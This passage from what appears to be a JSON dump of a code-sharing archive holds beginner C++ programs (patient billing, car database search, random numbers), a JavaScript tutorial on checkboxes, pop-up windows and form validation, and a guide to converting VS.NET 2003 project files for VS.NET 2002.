67)\n\t\t{\n\t\t\tout_file << \" \\n\";\n\t\t\ti = i + 1;\n\t\t}\n\t\tGetName();\n\t}\n\telse if (patient_another == \"n\")\n\t\tcout << \"Ending Program ...\";\n\telse\n\t{\n\t\tGiveError();\n\t\tDoOver();\n\t}\n}\nvoid FlushVars()\n{\n\tpatient_name = (\"\");\n\tpatient_room = (\"\");\n\tpatient_phone = (\"\");\n\tpatient_tv = (\"\");\n\tpatient_insurance = (\"\");\n\tpatient_drfee = 0.00;\n\tpatient_days = 0;\n\tpatient_subtotal = 0.00;\n\tpatient_total = 0.00;\n}\nvoid GiveError()\n{\n\tcprintf(\"\\n\\nError: You Have Entered Incorrect Data\\n\");\n}"},{"WorldId":3,"id":4797,"LineNumber":1,"line":"/*\n Name: Robert Cleaver\n Date: 9-7-02\n Prog: CARPRICE.CPP\n Desc: Loads a database file and searches through it.\n*/\n#include<iostream.h>\n#include<iomanip.h>\n#include<fstream.h>\n#include<conio.h>\n#include<lvp/string.h>\n#include<ctype.h>\ntypedef String stype[8];\nvoid StartProg();\nchar GetSearch();\nvoid LoadDatabase(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter);\nvoid StartSearch(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter, char SearchItem);\nvoid SearchMake(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter);\nvoid SearchModel(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter);\nvoid SearchYear(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter);\nvoid SearchPrice(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter);\nint main()\n{\n\tStartProg();\n\treturn(0);\n}\nvoid StartProg()\n{\n\tstype Make, Model, Price, Mileage, Lot, Year;\n\tint Counter;\n\tchar SearchItem;\n\tclrscr();\n\tSearchItem = GetSearch();\n\tCounter = 0;\n\tLoadDatabase(Make, Model, Year, Price, Mileage, Lot, Counter);\n\tStartSearch(Make, Model, Year, Price, Mileage, Lot, Counter, SearchItem);\n}\nvoid LoadDatabase(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter)\n{\n\tifstream in_file;\n\tin_file.open(\"U:\\cars.rdb\");\n\twhile (! in_file.eof()) {\n\t\tCounter++;\n\t\tgetline(in_file, Make[Counter]);\n\t\tgetline(in_file, Model[Counter]);\n\t\tgetline(in_file, Year[Counter]);\n\t\tgetline(in_file, Price[Counter]);\n\t\tgetline(in_file, Mileage[Counter]);\n\t\tgetline(in_file, Lot[Counter]);\n\t}\n}\nchar GetSearch()\n{\n\tchar MenuItem;\n\tcout<<\"--- Search Menu ---\"<<endl;\n\tcout<<\" A. Make\"<<endl;\n\tcout<<\" B. Model\"<<endl;\n\tcout<<\" C. Year\"<<endl;\n\tcout<<\" D. Price\"<<endl;\n\tcout<<\" X. Exit\"<<endl;\n\tcout<<\"-------------------\"<<endl;\n\tcout<<\"Search(A,B,C,D,X): \";\n\tcin>>MenuItem;\n\tMenuItem=toupper(MenuItem);\n\treturn(MenuItem);\n}\nvoid StartSearch(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int & Counter, char SearchItem)\n{\n\tchar SelItem;\n\tswitch (SearchItem) {\n\tcase 'A':\n\t\tSearchMake(Make, Model, Year, Price, Mileage, Lot, Counter);\n\t\tbreak;\n\tcase 'B':\n\t\tSearchModel(Make, Model, Year, Price, Mileage, Lot, Counter);\n\t\tbreak;\n\tcase 'C':\n\t\tSearchYear(Make, Model, Year, Price, Mileage, Lot, Counter);\n\t\tbreak;\n\tcase 'D':\n\t\tSearchPrice(Make, Model, Year, Price, Mileage, Lot, Counter);\n\t\tbreak;\n\tcase 'X':\n\t\tbreak;\n\tdefault:\n\t\tclrscr();\n\t\tSelItem = GetSearch();\n\t\tSelItem = toupper(SelItem);\n\t\tStartSearch(Make, Model, Year, Price, Mileage, Lot, Counter, SelItem);\n\t\tbreak;\n\t}\n}\nvoid SearchMake(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter)\n{\n\tint SearchLoop, Matches;\n\tString MakeMatch;\n\tSearchLoop = 0;\n\tMatches = 0;\n\tclrscr();\n\tcout<<\"Make: \";\n\tcin>>MakeMatch;\n\tclrscr();\n\tfor (SearchLoop = 0; SearchLoop <= Counter; SearchLoop++)\n\t{\n\t\tif (Make[SearchLoop] == MakeMatch)\n\t\t{\n\t\t\tcout<<\"Make: \"<<Make[SearchLoop]<<endl;\n\t\t\tcout<<\"Model: \"<<Model[SearchLoop]<<endl;\n\t\t\tcout<<\"Year: \"<<Year[SearchLoop]<<endl;\n\t\t\tcout<<\"Price: \"<<Price[SearchLoop]<<endl;\n\t\t\tcout<<\"Mileage: \"<<Mileage[SearchLoop]<<endl;\n\t\t\tcout<<\"Lot: \"<<Lot[SearchLoop]<<endl;\n\t\t\tcout<<\"\\n################\\n\"<<endl;\n\t\t\tMatches = Matches + 1;\n\t\t} else if (Matches == 0 && SearchLoop == Counter) {\n\t\t\tcout<<\"No matches found in database\\n\"\n\t\t\t <<\"containing \"<<Counter<<\" Cars.\\n\\n\"\n\t\t\t <<\"Hit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t\tif (Matches != 0 && SearchLoop == Counter)\n\t\t{\n\t\t\tcout<<\"\\n\\nHit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t}\n}\nvoid SearchModel(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter)\n{\n\tint SearchLoop, Matches;\n\tString ModelMatch;\n\tSearchLoop = 0;\n\tMatches = 0;\n\tclrscr();\n\tcout<<\"Model: \";\n\tcin>>ModelMatch;\n\tclrscr();\n\tfor (SearchLoop = 0; SearchLoop <= Counter; SearchLoop++)\n\t{\n\t\tif (Model[SearchLoop] == ModelMatch)\n\t\t{\n\t\t\tcout<<\"Make: \"<<Make[SearchLoop]<<endl;\n\t\t\tcout<<\"Model: \"<<Model[SearchLoop]<<endl;\n\t\t\tcout<<\"Year: \"<<Year[SearchLoop]<<endl;\n\t\t\tcout<<\"Price: \"<<Price[SearchLoop]<<endl;\n\t\t\tcout<<\"Mileage: \"<<Mileage[SearchLoop]<<endl;\n\t\t\tcout<<\"Lot: \"<<Lot[SearchLoop]<<endl;\n\t\t\tcout<<\"\\n################\\n\"<<endl;\n\t\t\tMatches = Matches + 1;\n\t\t} else if (Matches == 0 && SearchLoop == Counter) {\n\t\t\tcout<<\"No matches found in database\\n\"\n\t\t\t <<\"containing \"<<Counter<<\" Cars.\\n\\n\"\n\t\t\t <<\"Hit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t\tif (Matches != 0 && SearchLoop == Counter)\n\t\t{\n\t\t\tcout<<\"\\n\\nHit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t}\n}\nvoid SearchYear(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter)\n{\n\tint SearchLoop, Matches;\n\tString MinimumYear, MaximumYear;\n\tchar YearRange;\n\t//String ModelMatch;\n\tSearchLoop = 0;\n\tMatches = 0;\n\tMinimumYear = \"0\";\n\tMaximumYear = \"0\";\n\tclrscr();\n\tcout<<\"--- Year Ranges --- \"<<endl;\n\tcout<<\"A. 1970-1975\"<<endl;\n\tcout<<\"B. 1976-1980\"<<endl;\n\tcout<<\"C. 1981-1985\"<<endl;\n\tcout<<\"D. 1986-1990\"<<endl;\n\tcout<<\"E. 1991-1995\"<<endl;\n\tcout<<\"F. 1996-2000\"<<endl;\n\tcout<<\"G. 2001-2005\"<<endl;\n\tcout<<\"------------------- \"<<endl;\n\tcout<<\"Year Range: \";\n\tcin>>YearRange;\n\tYearRange=toupper(YearRange);\n\tswitch (YearRange) {\n\tcase 'A':\n\t\tMinimumYear=\"1970\";\n\t\tMaximumYear=\"1975\";\n\t\tbreak;\n\tcase 'B':\n\t\tMinimumYear=\"1976\";\n\t\tMaximumYear=\"1980\";\n\t\tbreak;\n\tcase 'C':\n\t\tMinimumYear=\"1981\";\n\t\tMaximumYear=\"1985\";\n\t\tbreak;\n\tcase 'D':\n\t\tMinimumYear=\"1986\";\n\t\tMaximumYear=\"1990\";\n\t\tbreak;\n\tcase 'E':\n\t\tMinimumYear=\"1991\";\n\t\tMaximumYear=\"1995\";\n\t\tbreak;\n\tcase 'F':\n\t\tMinimumYear=\"1996\";\n\t\tMaximumYear=\"2000\";\n\t\tbreak;\n\tcase 'G':\n\t\tMinimumYear=\"2001\";\n\t\tMaximumYear=\"2005\";\n\t\tbreak;\n\tdefault:\n\t\tclrscr();\n\t\tcout<<\"That year is not available.\"<<endl;\n\t\tcout<<\"Hit any key to return to the \\\"Search\\\" menu.\"<<endl;\n\t\tgetch();\n\t\tStartProg();\n\t\tbreak;\n\t}\n\tclrscr();\n\tfor (SearchLoop = 0; SearchLoop <= Counter; SearchLoop++)\n\t{\n\t\tif (Year[SearchLoop] >= MinimumYear && Year[SearchLoop] <= MaximumYear)\n\t\t{\n\t\t\tcout<<\"Make: \"<<Make[SearchLoop]<<endl;\n\t\t\tcout<<\"Model: \"<<Model[SearchLoop]<<endl;\n\t\t\tcout<<\"Year: \"<<Year[SearchLoop]<<endl;\n\t\t\tcout<<\"Price: \"<<Price[SearchLoop]<<endl;\n\t\t\tcout<<\"Mileage: \"<<Mileage[SearchLoop]<<endl;\n\t\t\tcout<<\"Lot: \"<<Lot[SearchLoop]<<endl;\n\t\t\tcout<<\"\\n################\\n\"<<endl;\n\t\t\tMatches = Matches + 1;\n\t\t} else if (Matches == 0 && SearchLoop == Counter) {\n\t\t\tcout<<\"No matches found in database\\n\"\n\t\t\t <<\"containing \"<<Counter<<\" Cars.\\n\\n\"\n\t\t\t <<\"Hit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t\tif (Matches != 0 && SearchLoop == Counter)\n\t\t{\n\t\t\tcout<<\"\\n\\nHit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t}\n}\nvoid SearchPrice(stype &Make, stype &Model, stype &Year, stype &Price, stype &Mileage, stype &Lot, int &Counter)\n{\n\tclrscr();\n\tint SearchLoop, Matches;\n\tSearchLoop = 0;\n\tMatches = 0;\n\tString PriceMatch, StartPrice, EndPrice;\n\tcout<<\"*Note* Do not Include commas or dollar signs\\n\\n\";\n\tcout<<\"Starting Price: \";\n\tcin>>StartPrice;\n\tclrscr();\n\tcout<<\"*Note* Do not Include commas or dollar signs\\n\\n\";\n\tcout<<\"Ending Price: \";\n\tcin>>EndPrice;\n\tclrscr();\n\tfor (SearchLoop = 0; SearchLoop <= Counter; SearchLoop++)\n\t{\n\t\tif (Price[SearchLoop] >= StartPrice && Price[SearchLoop] <= EndPrice)\n\t\t{\n\t\t\tcout<<\"Make: \"<<Make[SearchLoop]<<endl;\n\t\t\tcout<<\"Model: \"<<Model[SearchLoop]<<endl;\n\t\t\tcout<<\"Year: \"<<Year[SearchLoop]<<endl;\n\t\t\tcout<<\"Price: \"<<Price[SearchLoop]<<endl;\n\t\t\tcout<<\"Mileage: \"<<Mileage[SearchLoop]<<endl;\n\t\t\tcout<<\"Lot: \"<<Lot[SearchLoop]<<endl;\n\t\t\tcout<<\"\\n################\\n\"<<endl;\n\t\t\tMatches++;\n\t\t}\n\t\tif (Matches == 0 && SearchLoop == Counter)\n\t\t{\n\t\t\tcout<<\"No matches found in database\\n\"\n\t\t\t <<\"containing \"<<Counter<<\" Cars.\\n\\n\"\n\t\t\t <<\"Hit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t\telse if (Matches != 0 && SearchLoop == Counter)\n\t\t{\n\t\t\tcout<<\"Hit any key to return to the \\\"Search\\\" menu.\";\n\t\t\tgetch();\n\t\t\tclrscr();\n\t\t\tStartProg();\n\t\t}\n\t}\n}\n"},{"WorldId":3,"id":4812,"LineNumber":1,"line":"/*\n Name: Robert Cleaver\n Date: 9 - 17 - 02\n Prog: RANDOM.CPP\n Desc: Generates a non-repetetive random number\n*/\n#include<iostream.h>\n#include<conio.h>\n#include<stdlib.h>\ntypedef int itype[20];\nvoid DoRandom(itype &RandomArr);\nint check(itype &RandomArr, int ArrayIndex);\nint main()\n{\n\tclrscr();\n\trandomize();\n\titype RandomArr;\n\tDoRandom(RandomArr);\n\tgetch();\n\treturn(0);\n}\nvoid DoRandom(itype &RandomArr)\n{\n\tint FillLoop;\n\tFillLoop = 0;\n\tRandomArr[1] = (rand() % 20) + 1;\n\tfor (FillLoop = 2; FillLoop <= 20; FillLoop++)\n\t{\n\t\tRandomArr[FillLoop] = (rand() % 20) + 1;\n\t\twhile (check(RandomArr,FillLoop) != 1)\n\t\t{\n\t\t\tRandomArr[FillLoop] = (rand() % 20) + 1;\n\t\t}\n\t\tcout<<FillLoop<<\": \"<<RandomArr[FillLoop]<<endl;\n\t}\n}\nint check(itype &RandomArr, int ArrayIndex)\n{\n\tint CheckLoop, nomatch;\n\tnomatch = 0;\n\tCheckLoop = 0;\n\tfor (CheckLoop = 1; CheckLoop < ArrayIndex; CheckLoop++)\n\t{\n\t\tif (RandomArr[CheckLoop] == RandomArr[ArrayIndex])\n\t\t{\n\t\t\tnomatch = 1;\n\t\t\treturn(0);\n\t\t}\n\t\telse if (CheckLoop == (ArrayIndex - 1) && nomatch == 0)\n\t\t{\n\t\t\treturn(1);\n\t\t}\n\t}\n}"},{"WorldId":4,"id":7975,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8070,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7980,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7892,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":957,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2694,"LineNumber":1,"line":"\n \n \n<table width=\"98%\" border=\"0\" bgcolor=\"#AFAFAF\" cellpadding=\"1\" cellspacing=\"0\" align=\"center\">\n <tr>\n <td>\n <table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"0\">\n <tr bgcolor=\"#FFFFFF\"> \n <td> \n <div align=\"center\">9 \n Javascript(s) you better not miss !!</div>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n</table>\n \n \nThis tutorial is aimed at those who have a working knowledge of Javascript. So \nthe examples are not explained in great detail. Only the important parts are highlighted. \nI have presented 9 Javascript examples that I have found very useful while designing \nprofessional websites. There are many ways to implement these examples here. The \ncode presented here is neither the shortest nor the most efficient. But it does \nwork satisfactorily. \n \nPlease not that that wherever there is a mention of any .jpg , .gif or any other \n.html files, see to it that you have a dummy .gif, .jpg or .html file in the same \ndirectory as the script file so that the script finds these files. They can be \nany files since the logic of the script doesn't depend on these files. Try to \nunderstand the way the examples work, and you will be able to modify them and \nmake them more useful. Also note that the entire code for the html page is not \npresent here. Only the script and the relevant html is present. \n \n \nExample 1 : A Single click for checking-unchecking multiple check boxes \n You must \nhave seen this script working at many places. One that comes to my mind is at \nYahoo / Hotmail for checking or unchecking all the mails that are visible on the \npage. There are lots of places where you can use this script, generally when you \nwant the user to carry out some task on either all or none of the items that you \npresent to him. \n \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bgcolor=\"#F5F5F5\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"4\"><SCRIPT \n LANGUAGE = "JavaScript"> \n  \n </SCRIPT> \n \n </td>\n </tr>\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"4\"><BODY> \n <FORM> \n <INPUT TYPE=checkbox NAME="chkboxarray" VALUE="1"> \n <INPUT TYPE=checkbox NAME="chkboxarray" VALUE="2"> \n <INPUT TYPE=checkbox NAME="chkboxarray" VALUE="3"> \n <INPUT TYPE=button NAME="CheckAll" VALUE="Check All Boxes" \n onClick="modify_boxes(true,3)"> \n <INPUT TYPE=button NAME="UnCheckAll" VALUE="UnCheck All \n Boxes" onClick="modify_boxes(false,3)"> \n </FORM> \n </BODY> </td>\n </tr>\n</table>\nNote : \n The VALUE tag for the checkboxes seem to have no use. But it is required to \n differentiate between the check boxes when you submit such a form to a server \n side program. You could differentiate between the checked boxed by giving different \n VALUEs to the checkbox. \n \n \n Example 2 : Opening a page (existing as well as dynamic) in a new window \n without bars, buttons, etc. \n This script shows how to open a new page inside a new window rather than the \n existing window. You can also remove all the buttons and toolbars that exist \n in the standard browser window so that the entire new window is filled with \n only your content. You could either open an existing page or you could create \n dynamic content inside the new window. \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"3\"><SCRIPT \n LANGUAGE = "JavaScript"> \n  \n </SCRIPT> \n \n <BODY> \n <A onClick='open_new_window()' >Click anywhere on this text to open \n the file newpage.html in a new window</a> \n \n Or click on the button below to open a dynamically generated html page \n \n <FORM> \n <INPUT type="button" value="New Window" onClick \n ='open_new_window2()' > \n </FORM> \n </BODY> \n </td>\n </tr>\n</table>\n \n \n Example 3 : Multiple submit buttons on a single form (Submitting same form \n to any one of many programs) \n This script shows you how to submit the contents of a form to different programs \n depending on which Submit button you press. Additionally it also shows how to \n call two different functions when you press the Submit button. \nWhen you press \n submit on this script it first sets the variable totalboxes = 2, then it also \n sets the target for the form using the 3 if conditions stated. Then it calls \n the isReady() function and checks to see if atleast one checkbox has been checked. \n If even one is checked then it returns true and this causes the contents to \n be submitted to either program1.jsp or program2.jsp or program3.jsp. If even \n one checkbox wasn't checked you would be notified with a alert dialog box. \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"3\"><SCRIPT \n LANGUAGE = "JavaScript"> \n  \n </SCRIPT>\n <BODY>\n <FORM \n onSubmit="return isReady(this)" METHOD="post" NAME="myform" \n ACTION=""> \n <INPUT TYPE="checkbox" NAME="boxes" VALUE="box1">Box \n 1 \n <INPUT TYPE="checkbox" NAME="boxes" VALUE="box2">Box \n 2 \n <INPUT TYPE="checkbox" NAME="boxes" VALUE="box2">Box \n 3 \n <INPUT TYPE="checkbox" NAME="boxes" VALUE="box2">Box \n 4 \n <INPUT TYPE="checkbox" NAME="boxes" VALUE="box2">Box \n 5 \n </FORM>\n <INPUT \n TYPE="image" onClick="setCount(5,0)" NAME="Submit1" \n VALUE="delete" SRC="delete_icon.jpg"> \n <INPUT TYPE="image" onClick="setCount(5,1)" NAME="Submit2" \n VALUE="view" SRC="view_icon.jpg"> \n <INPUT TYPE="image" onClick="setCount(5,2)" NAME="Submit3" \n VALUE="modify" SRC="modify_icon.jpg"> \n </BODY> \n \n </td>\n </tr>\n</table>\nThe setCount() \n take 2 parameters, the no of checkboxes and the target program to which the \n contents have to be submitted to.\nNote : \n Sending the variable 5 for no of boxes using the onClick() event is useful in \n case you are not knowing the no. of checkboxes while writing the top part of \n the html page (while writing the script part at the top of the page). This may \n happen in case you are dynamically creating this html page then you may not \n know how many checkboxes would be present in the beginning. Basically this thing \n becomes useful since the dynamic languages such as ASP or JSP would generate \n the page line by line and at that time you would first generate the script part \n and then the actual checkboxes on the page. So you would not be able to set \n the value of totalboxes to a finite number before actually adding all \n the checkboxes to the page. You could use a counter (within ASP/JSP) which keeps \n track of the checkboxes you add to the html page and finally set the value of \n that counter as a parameter to this onClick() function. \n You could avoid this by typing the Script at the bottom of the page, but that \n doesn't work with a few browsers. In case you haven't got the point, its ok.. \n Just understand how to submit the form to different programs. You can leave \n the checkbox part... \n \n \n Example 4 : Emulating Browsers Back-Forward buttons \n This is a simple script that many programmers know. Most of the users feel that \n this is a waste since the browsers Forward-Back buttons are already present. \n But you would realize that in case you are creating a window without the standard \n toolbars as shown in Example No.3 , then you would find this script to be very \n useful to emulate the Browsers buttons. \n \n I have shown 2 ways.. I prefer the image one, since it looks really neat in \n case you have nice image. \n \n<table width=\"100%\" border=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td><BODY> \n <FORM> \n <INPUT TYPE="image" SRC="N.jpg" NAME="back" \n onClick="window.history.go(-1)"> \n <INPUT TYPE="button" VALUE="Go Back" NAME="back" \n onClick="window.history.go(-1)"> \n <INPUT TYPE = "button" VALUE = "GO Forward" onClick \n = "window.history.go(1);"> \n </FORM> \n </BODY> </td>\n </tr>\n</table>\n \n Example 5 : Making the Output of a program (servlet/cgi program) to appear \n in a new frame \n This script is used by most many programmers. I haven't found this script to \n be very helpful, since I try my best to avoid using frames on my website. Frames \n are to be avoided whenever, wherever possible. And I always manage without them. \n \n \n<table width=\"100%\" border=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td><HTML> \n <FRAMESET COLS="20%,*"> \n <FRAME SRC="leftindex.html" NAME="Left frame" > \n <FRAME SRC="rightindex.html" NAME="Right frame"> \n </FRAMESET> \n </HTML> </td>\n </tr>\n</table>\nBelow is the source \n of leftindex.html\n<table width=\"100%\" border=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td><HTML> \n <BODY> \n <FORM NAME="Myform" METHOD=GET \n ACTION="http://www.kiranpai.com/servlet1" onSubmit="document.myform.target \n = 'Right frame'> \n <INPUT TYPE=SUBMIT VALUE="Clicking in left frame but Output in Right \n frame"> \n </FORM> \n </BODY> \n </HEAD> </td>\n </tr>\n</table>\n \n \nExample 6 : Displaying \na Countdown using Javascript \nYou require 5 images named countdown1.jpg, countdown2.jpg ..so on till countdown5.jpg \neach with repective digits on them, in the same directory as the script. When \nyou load this page, after a delay of 2 seconds the images are displayed in the \nreverse order (from 5 down to 1) each after a delay of 1 second. This gives it \na kewl effect of a countdown from 5 to 1 and then when it finishes a new blank \nwindow opens. The opening of a blank window was the simplest thing to use here. \nYou can replace that with any other command. \n \nI had used a slightly modified version of this countdown script during a press \nrelease of one of the websites I had developed. After the countdown the website \nopened in the new window. Ofcourse it was accompanied with claps and wows from \nthe crowd present there :-) The effects looked wonderful since I had used 5 animated \ngifs, with each of them showing a sort of transformation (morphing) from one digit \nto another. \n \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"2\"><SCRIPT \n LANGUAGE = "JavaScript"> \n  \n </script> \n \n <BODY onLoad="setTimeout('img()',2000)"> \n The countdown from 5 to 1 will begin in 2 seconds \n </BODY> \n \n </td>\n </tr>\n</table>\n \n Example 7 : Changing images with MouseOver and MouseOut events \n This is probably the most common use of Javascript. There are countless ways \n to get this working, but I present one that I use frequently. This script like \n many of my other ones rely on numbered image files. Make images with names such \n as org0.jpg, org1.jpg and org2.jpg. These would be initially displayed. Get \n 3 more files named new1.jpg, new2.jpg and 3.jpg which would be the files displayed \n when the mouse is over the original images. \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"2\"> \n <SCRIPT LANGUAGE = "JavaScript"> \n  \n </SCRIPT> \n \n <BODY> \n <IMG SRC="org0.jpg" onMouseOver="new_img(0)" onMouseOut="org_img(0)"> \n <IMG SRC="org1.jpg" onMouseOver="new_img(1)" onMouseOut="org_img(1)"> \n <IMG SRC="org2.jpg" onMouseOver="new_img(2)" onMouseOut="org_img(2)"> \n </BODY> </td>\n </tr>\n</table>\nAlternatively \n in case you want to change an image when clicked on it use the following script\n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"2\"><SCRIPT \n LANGUAGE = "JavaScript"> \n  \n </SCRIPT>\n <BODY> \n <A HREF="JavaScript: change_img(0)"><IMG SRC="I.jpg"></A> \n </BODY> \n </td>\n </tr>\n</table>\n \n Example \n 8 : Checking the form contents before submitting the form \n This is once again an extremely important use of Javascript (this was one of \n the primary uses of Javascript). It reduces the time and resources on the server \n side for checking of online forms. Once again I have found many implementations \n of this script. This is one I find easy to understand. \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"3\"> \n <SCRIPT LANGUAGE = "JavaScript"> \n  \n </SCRIPT> \n \n <BODY> \n <FORM NAME = "myform" onSubmit = "return isReady(this)" \n METHOD=POST ACTION = "http://www.kiranpai.com/servlet1"> \n <TEXTAREA NAME = "feedback"></TEXTAREA> \n <INPUT TYPE="submit" VALUE="Submit"> \n </FORM> \n </BODY> \n </td>\n </tr>\n</table>\n \n Example 9 : Filling the values of a dropdown SelectMenu depending on the \n selection in another Menu \n If you are developing a professional site for a company you would invariably \n come across a situation where you are expected to do the above. Remember that \n the power of this script becomes evident when you use Javascript along with \n some other dynamic language such as JSP or ASP. You could probably fill the \n arrays used in this script with some data fetched from a database relating to \n the particular user. When he selects an entry in the first dropdown menu, he \n is immediately presented with his relevant data in the second menu, instead \n of making another request to the server to fetch more data. These types of scripts \n are very useful when you have to allow a user select some thing from a general \n level to a more specific level. I mean each successive dropdown menu would be \n more and more specific choice. Read on to understand the entire thing. \n \n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr bgcolor=\"#F5F5F5\"> \n <td colspan=\"4\"> \n \n <SCRIPT LANGUAGE = "JavaScript"> \n  \n </SCRIPT> \n \n <BODY> \n <FORM NAME="myform" METHOD="POST"> \n \n Sport \n <SELECT NAME="sport" onChange="set_player()"> \n <OPTION VALUE="tennis">------- \n <OPTION VALUE="tennis">Tennis \n <OPTION VALUE="cricket">Cricket \n </SELECT> \n \n Player \n <SELECT NAME="player"> \n <OPTION>------ \n </SELECT> \n \n </FORM> \n </BODY> \n \n </td>\n </tr>\n</table>\nIn the above script \n when the user selects either Cricket or Tennis in the first Select Menu, the \n choices in the second Select Menu automatically changes accordingly. \n \n Try to understand \n the working of all these scripts properly rather than cut-pasting them. A reference \n book on Javascript is extremely useful since there are many small details that \n you got to take note of while scripting else your scripts won't run. Programming \n in Javascript in conjunction with any other language such as ASP or JSP makes \n it more tough and you have to take great care about the syntax else you end \n up in a mess. Thats all.. \n \n Hope you enjoyed these 9 examples. \n \n \n \n<table width=\"98%\" border=\"0\" bgcolor=\"#AFAFAF\" cellpadding=\"0\" cellspacing=\"1\" name=\"outside\" align=\"center\">\n <tr bgcolor=\"#FFFFFF\"> \n <td> \n <table width=\"100%\" border=\"0\" name=\"inside\" cellpadding=\"3\" cellspacing=\"0\" bgcolor=\"#FFFFFF\">\n <tr> \n <td> \n <div align=\"center\">This \n article has been written by Kiran Pai. All comments and feedback \n may be sent to paikiran@yahoo.com \n This article should not be modified in \n any form. In case you want to host a copy of this article on your \n site please request for authors permission before doing so \n </div>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n</table>\n \n"},{"WorldId":10,"id":1247,"LineNumber":1,"line":"A Simple way to make VS.NET\n2003 back to VS.NET 2002<o:p></o:p>\nUnruled Boy 2003-5-27<o:p></o:p>\n<o:p> </o:p>\n<span\nstyle='mso-tab-count:1'> Because\nVS.NET 2003 uses a new format (actually some new tags and version identifiers.),\nwe cannot open those projects/solutions that created/modified by VS.NET 2003\nwith VS.NET 2002.<o:p></o:p>\n<span\nstyle='mso-tab-count:1'> Yet, there\nis a simple way to solve this problem.<o:p></o:p>\n<o:p> </o:p>\n Step\n1: Modify the Solution Files<o:p></o:p>\n<span\nstyle='mso-tab-count:2'> Change\nthe first line of the solution files from ┬í┬░Microsoft Visual Studio Solution\nFile, Format Version 8.00┬í┬▒ to ┬í┬░Microsoft Visual Studio Solution File, Format Version\n7.00┬í┬▒<o:p></o:p>\n<o:p> </o:p>\n Step\n2: Modify the Project Files<o:p></o:p>\n<![if !supportLists]><span\nstyle='mso-list:Ignore'>A. \n<![endif]><span\nlang=EN-US style='font-size:12.0pt'>For C Sharp:<o:p></o:p>\n<VisualStudioProject><o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> <CSHARP<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectType = "Local"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProductVersion = "7.10.3707"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nSchemaVersion = "2.0"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectGuid = "{20502969-7071-4065-BDB5-09EDB3C31E3C}"<o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'>><o:p></o:p>\n<o:p> </o:p>\nChange the above lines to the following lines:<o:p></o:p>\n<o:p> </o:p>\n<VisualStudioProject><o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> <CSHARP<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectType = "Local"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProductVersion = "7.0.9466"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nSchemaVersion = "1.0"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectGuid = 